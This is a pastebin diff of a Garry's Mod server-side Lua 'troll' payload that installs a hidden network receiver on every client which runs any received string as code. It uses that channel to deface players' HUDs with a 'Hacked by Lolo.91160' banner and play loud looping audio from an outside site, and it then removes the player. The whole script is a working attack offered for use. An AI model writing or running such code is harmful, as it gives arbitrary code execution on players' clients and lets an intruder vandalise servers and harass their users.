SHOW:
|
|
- or go back to the newest paste.
1 | util.AddNetworkString "skeleton_dancing_troll" | |
2 | ||
3 | local lol = {} | |
4 | function lol:RandomString( intMin, intMax ) | |
5 | local ret = "" | |
6 | for _ = 1, math.random( intMin, intMax ) do | |
7 | ret = ret.. string.char( math.random(65, 90) ) | |
8 | end | |
9 | ||
10 | return ret | |
11 | end | |
12 | ||
13 | lol.m_tblActions = {} | |
14 | lol.m_strImageGlobalVar = lol:RandomString( 6, 12 ) | |
15 | lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]] | |
16 | ||
17 | function lol:PushAction( intChainDelay, func ) | |
18 | self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func } | |
19 | end | |
20 | ||
21 | function lol:NextAction( pPlayer ) | |
22 | pPlayer.m_intCurAction = pPlayer.m_intCurAction +1 | |
23 | if not self.m_tblActions[pPlayer.m_intCurAction] then return end | |
24 | ||
25 | timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function() | |
26 | if not IsValid( pPlayer ) then return end | |
27 | self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer ) | |
28 | self:NextAction( pPlayer ) | |
29 | end ) | |
30 | end | |
31 | ||
32 | function lol:Start( pPlayer ) | |
33 | pPlayer.m_intCurAction = 0 | |
34 | self:NextAction( pPlayer ) | |
35 | end | |
36 | ||
37 | function lol:SendLua( pPlayer, strLua ) | |
38 | net.Start( "skeleton_dancing_troll" ) | |
39 | net.WriteString( strLua ) | |
40 | net.Send( pPlayer ) | |
41 | end | |
42 | ||
43 | function lol:SetupPlayer( pPlayer ) | |
44 | pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" ) | |
45 | end | |
46 | ||
47 | for k, v in pairs( player.GetAll() ) do | |
48 | lol:SetupPlayer( v ) | |
49 | timer.Simple( 2, function() lol:Start( v ) end ) | |
50 | end | |
51 | ||
52 | hook.Add( "PlayerAuthed", "wat", function( pPlayer ) | |
53 | lol:SetupPlayer( pPlayer ) | |
54 | timer.Simple( 10, function() lol:Start( pPlayer ) end ) | |
55 | end ) | |
56 | ||
57 | hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat ) | |
58 | if strText:sub( 1, 5 ) == "/1337" then | |
59 | pSender:Ignite( 1e9 ) | |
60 | pSender:ChatPrint( "Nop" ) | |
61 | pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] ) | |
62 | return false | |
63 | end | |
64 | end ) | |
65 | ||
66 | ||
67 | ||
68 | --Sequence stack | |
69 | --Start some tunes and steam in our assets | |
70 | lol:PushAction( 0, function( pPlayer ) | |
71 | lol:SendLua( pPlayer, ([=[ | |
72 | sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end ) | |
73 | ||
74 | g_]=].. lol.m_strImageGlobalVar.. [=[ = {} | |
75 | local html = [[%s]] | |
76 | local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY ) | |
77 | local pnl = vgui.Create( "HTML" ) | |
78 | pnl:SetPos( ScrW() -1, ScrH() -1 ) | |
79 | pnl:SetVisible( true ) | |
80 | pnl:SetMouseInputEnabled( false ) | |
81 | pnl:SetKeyBoardInputEnabled( false ) | |
82 | pnl:SetSize( intSizeX, intSizeY ) | |
83 | pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) ) | |
84 | ||
85 | local PageLoaded | |
86 | PageLoaded = function() | |
87 | local mat = pnl:GetHTMLMaterial() | |
88 | if mat then | |
89 | g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl } | |
90 | return | |
91 | end | |
92 | ||
93 | timer.Simple( 0.5, PageLoaded ) | |
94 | end | |
95 | ||
96 | PageLoaded() | |
97 | end | |
98 | ||
99 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 ) | |
100 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 ) | |
101 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 ) | |
102 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306624-doritos.png", "doritos", 183, 256 ) | |
103 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 ) | |
104 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 ) | |
105 | LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306619-awp.png", "awp", 256, 55 ) | |
106 | ]=]):format(lol.m_strImageLoadHTML) ) | |
107 | end ) | |
108 | ||
109 | --HUD swap | |
110 | lol:PushAction( 31, function( pPlayer ) | |
111 | lol:SendLua( pPlayer, [[ | |
112 | (GAMEMODE or GM).CalcView = function() end | |
113 | (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end | |
114 | ||
115 | local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" } | |
116 | for k, v in pairs(remove) do | |
117 | hook.GetTable()[v] = {} | |
118 | end | |
119 | ||
120 | local function GetWebMat( strURL ) | |
121 | return g_]].. lol.m_strImageGlobalVar.. [[[strURL] | |
122 | end | |
123 | ||
124 | hook.Add( "HUDPaint", "newhud", function() | |
125 | surface.SetDrawColor( 255, 255, 255, 255 ) | |
126 | ||
127 | if GetWebMat( "hud1" ) then | |
128 | surface.SetMaterial( GetWebMat("hud1")[1] ) | |
129 | surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 ) | |
130 | end | |
131 | if GetWebMat( "hud2" ) then | |
132 | surface.SetMaterial( GetWebMat("hud2")[1] ) | |
133 | surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 ) | |
134 | end | |
135 | if GetWebMat( "hud3" ) then | |
136 | surface.SetMaterial( GetWebMat("hud3")[1] ) | |
137 | surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 ) | |
138 | end | |
139 | if GetWebMat( "doritos" ) then | |
140 | surface.SetMaterial( GetWebMat("doritos")[1] ) | |
141 | surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 ) | |
142 | end | |
143 | if GetWebMat( "dew" ) then | |
144 | surface.SetMaterial( GetWebMat("dew")[1] ) | |
145 | surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 ) | |
146 | end | |
147 | if GetWebMat( "fedora" ) then | |
148 | surface.SetMaterial( GetWebMat("fedora")[1] ) | |
149 | surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 ) | |
150 | end | |
151 | if GetWebMat( "awp" ) then | |
152 | surface.SetMaterial( GetWebMat("awp")[1] ) | |
153 | surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 ) | |
154 | end | |
155 | ||
156 | draw.SimpleTextOutlined( | |
157 | - | "Hacked by Lolo.91160 et LokiSploit", |
157 | + | "Hacked by Lolo.91160", |
158 | "DermaLarge", | |
159 | ScrW() /2 +math.random( -8, 8 ), | |
160 | ScrH() /2 +math.random( -8, 8 ) +64, | |
161 | Color( 255, 0, 0, 255 ), | |
162 | TEXT_ALIGN_CENTER, | |
163 | TEXT_ALIGN_CENTER, | |
164 | 1, | |
165 | Color( 0, 0, 255, 255 ) | |
166 | ) | |
167 | ||
168 | draw.SimpleTextOutlined( | |
169 | "C:", | |
170 | "DermaLarge", | |
171 | ScrW() /2 +math.random( -8, 8 ), | |
172 | ScrH() /2 +math.random( -8, 8 ) +24, | |
173 | Color( 255, 0, 0, 255 ), | |
174 | TEXT_ALIGN_CENTER, | |
175 | TEXT_ALIGN_CENTER, | |
176 | 1, | |
177 | Color( 0, 0, 255, 255 ) | |
178 | ) | |
179 | end ) | |
180 | ||
181 | local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true } | |
182 | hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end ) | |
183 | ||
184 | surface.PlaySound( "garrysmod/save_load4.wav" ) | |
185 | surface.PlaySound( "vo/npc/male01/excuseme02.wav" ) | |
186 | ]] ) | |
187 | end ) | |
188 | ||
189 | --Disco time | |
190 | lol:PushAction( 10, function( pPlayer ) | |
191 | local idx = pPlayer:EntIndex() | |
192 | timer.Create( "beat".. idx, 0.42, 0, function() | |
193 | if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end | |
194 | pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) ) | |
195 | end ) | |
196 | ||
197 | ||
198 | lol:SendLua( pPlayer, [[ | |
199 | local emitter = ParticleEmitter( LocalPlayer():GetPos() ) | |
200 | local time = 0 | |
201 | ||
202 | hook.Add( "Think", "wat", function() | |
203 | if CurTime() < time then | |
204 | return | |
205 | end | |
206 | ||
207 | time = CurTime() +0.05 | |
208 | for i = 1, 16 do | |
209 | local part = emitter:Add( | |
210 | "particles/balloon_bit", | |
211 | LocalPlayer():GetPos() +Vector( | |
212 | math.random( -256, 256 ), | |
213 | math.random( -256, 256 ), | |
214 | 256 | |
215 | ) | |
216 | ) | |
217 | ||
218 | if part then | |
219 | local Size = math.random( 4, 7 ) | |
220 | ||
221 | part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 ) | |
222 | part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) ) | |
223 | part:SetDieTime( 4.5 ) | |
224 | part:SetGravity( Vector(40, 0, -250) ) | |
225 | part:SetLifeTime( 0 ) | |
226 | part:SetStartSize( Size /2 ) | |
227 | part:SetEndSize( Size ) | |
228 | part:SetCollide( true ) | |
229 | end | |
230 | end | |
231 | end ) | |
232 | ]] ) | |
233 | ||
234 | lol:SendLua( pPlayer, [[ | |
235 | hook.Add( "RenderScreenspaceEffects", "wat", function() | |
236 | local sinScaler = math.sin( CurTime() ) | |
237 | DrawBloom( | |
238 | 0, | |
239 | 3, | |
240 | sinScaler *math.Rand(1, 8), | |
241 | sinScaler *math.Rand(1, 8), | |
242 | 6, | |
243 | math.Rand(0.5, 2), | |
244 | math.Rand(0, 0.3), | |
245 | math.Rand(0, 0.3), | |
246 | math.Rand(0.5, 1) | |
247 | ) | |
248 | ||
249 | DrawColorModify{ | |
250 | ["$pp_colour_addr"] = 0, | |
251 | ["$pp_colour_addg"] = 0, | |
252 | ["$pp_colour_addb"] = 00, | |
253 | ["$pp_colour_brightness" ] = 0, | |
254 | ["$pp_colour_contrast" ] = 1, | |
255 | ["$pp_colour_colour" ] = 1, | |
256 | ["$pp_colour_mulr" ] = 0, | |
257 | ["$pp_colour_mulg" ] = 0, | |
258 | ["$pp_colour_mulb" ] = 1 | |
259 | } | |
260 | end ) | |
261 | ||
262 | local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH ) | |
263 | mdl:SetNoDraw( true ) | |
264 | local posCache, time = {}, 0 | |
265 | ||
266 | hook.Add( "HUDPaint", "dance", function() | |
267 | if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then | |
268 | local idx = mdl:LookupSequence("taunt_dance") | |
269 | mdl.SeqDuration = mdl:SequenceDuration( idx ) | |
270 | mdl.SeqStart = CurTime() | |
271 | mdl:ResetSequence( idx ) | |
272 | end | |
273 | ||
274 | mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration ) | |
275 | ||
276 | ||
277 | local w, h = 300, 300 | |
278 | local ang = Angle( 0, 0, 0 ) | |
279 | ||
280 | for i = 1, 32 do | |
281 | if CurTime() > time then | |
282 | posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) } | |
283 | end | |
284 | local x, y = posCache[i][1], posCache[i][2] | |
285 | ||
286 | cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h ) | |
287 | cam.IgnoreZ( true ) | |
288 | render.SuppressEngineLighting( true ) | |
289 | ||
290 | render.SetLightingOrigin( mdl:GetPos() ) | |
291 | render.ResetModelLighting( 1, 1, 1 ) | |
292 | render.SetColorModulation( 0, 0, 1 ) | |
293 | ||
294 | mdl:DrawModel() | |
295 | ||
296 | render.SuppressEngineLighting( false ) | |
297 | cam.IgnoreZ( false ) | |
298 | cam.End3D() | |
299 | end | |
300 | ||
301 | if CurTime() > time then | |
302 | time = CurTime() +0.15 | |
303 | end | |
304 | end ) | |
305 | ||
306 | surface.PlaySound( "vo/npc/male01/ohno.wav" ) | |
307 | ]] ) | |
308 | end ) | |
309 | ||
310 | --Let the beat drop | |
311 | lol:PushAction( 54, function( pPlayer ) | |
312 | lol:SendLua( pPlayer, [[ | |
313 | hook.Add( "GetMotionBlurValues", "wat", function() | |
314 | return 0, 0, 1, math.sin(CurTime() *13) | |
315 | end ) | |
316 | ||
317 | hook.Add( "RenderScreenspaceEffects", "ohgod", function() | |
318 | local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) | |
319 | DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) | |
320 | DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 ) | |
321 | end ) | |
322 | ||
323 | hook.Add( "PostDrawTranslucentRenderables", "ohgod", function() | |
324 | render.SetMaterial( Material("cable/blue_elec") ) | |
325 | for i = 1, 32 do | |
326 | render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) ) | |
327 | end | |
328 | end ) | |
329 | ||
330 | timer.Create( "thedrop", 0.42, 0, function() | |
331 | util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) | |
332 | end ) | |
333 | ]] ) | |
334 | end ) | |
335 | ||
336 | --EVIL TIME rip headpones | |
337 | lol:PushAction( 175, function( pPlayer ) | |
338 | lol:SendLua( pPlayer, [[ | |
339 | surface.PlaySound( "vo/npc/male01/gethellout.wav" ) | |
340 | ||
341 | local sounds = {} | |
342 | for i = 1, 4 do | |
343 | sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan ) | |
344 | sounds[#sounds +1] = pChan | |
345 | end ) | |
346 | end | |
347 | ||
348 | timer.Create( "asdf", 1, 0, function() | |
349 | if #sounds ~= 4 then return end | |
350 | timer.Destroy( "asdf" ) | |
351 | for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end | |
352 | end ) | |
353 | ||
354 | hook.Add( "HUDShouldDraw", "newhud", function() return false end ) | |
355 | ]] ) | |
356 | ||
357 | pPlayer:Remove() | |
358 | end ) |